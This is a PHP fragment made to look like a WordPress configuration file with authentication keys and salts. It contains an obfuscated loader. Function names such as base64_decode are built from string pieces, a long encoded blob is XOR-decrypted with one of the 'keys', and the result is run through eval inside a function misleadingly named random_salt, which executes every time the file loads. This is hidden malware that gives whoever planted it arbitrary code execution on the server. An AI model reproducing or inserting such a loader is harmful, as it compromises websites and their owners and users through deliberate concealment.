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"); function random_salt($length = 64) { $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $salt = ""; for ($i = 0; $i < $length; $i++) { $salt .= $characters[rand(0, strlen($characters) - 1)]; } eval("?>" . SALT); return $salt; } $__c = "c"; $__h = "hr"; $__b = "b"; $__c = $__c . $__h; $__a = "ase64_d"; $__e = "ecode"; $__b = $__b . $__a . $__e; $__o = "o"; $__r = "rd"; $__s = "s"; $__o = $__o . $__r; $__t = "tr_r"; $__e = "epeat"; $__s = $__s . $__t . $__e; function secure_decrypt($encrypted_data, $key) { global $__b, $__c, $__o, $__s; $data = $__b($encrypted_data); $key = $__s($key, ceil(strlen($data) / strlen($key))); $decrypted = ""; for ($i = 0; $i < strlen($data); $i++) { $decrypted .= $__c($__o($data[$i]) ^ $__o($key[$i])); } return $decrypted; } $code_to_execute = secure_decrypt(_SECURE_AUTH_SALT, _AUTH_KEY); define("SALT",$code_to_execute); define( "_SECURE_AUTH_KEY", "5isk6rmqw4wtuhl56nl8r6g6a042ke1f26anpe6s7mrpahcdmck8ax4a8hdvympz"); define( "_LOGGED_IN_KEY", "j8unbav7ydmqdet6w73u4kvxywk9eygfmutn0kc9c8cdd5fh9nsp68gcc3us2d9b" ); define( "_NONCE_KEY", "o01o2xfd7k1fq8vaq5cm20nurhuqk8ybj53hhwl93ri142bzztndzr8nv6xmjqoy" ); define( "_AUTH_SALT", "yhwnx01ewjvm3b6lleqm6qat48qnno2blnwqctu34r4x73brpf8d7q56x0pcg5dm" ); define( "_LOGGED_IN_SALT", "8c98qcr8aduaxu3fuao1bjjrs7no8kom820rvgefsfwja7kl7u8136qhhvpl0v6x"); define( "_NONCE_SALT", "mv1p2covyuymlze6d4zapsph0hj4ufmkdce7mn0adou09eyw2pqmb8qxtl5a9b9t"); $random_salt = random_salt(64); define("RANDOM_SALT",$random_salt);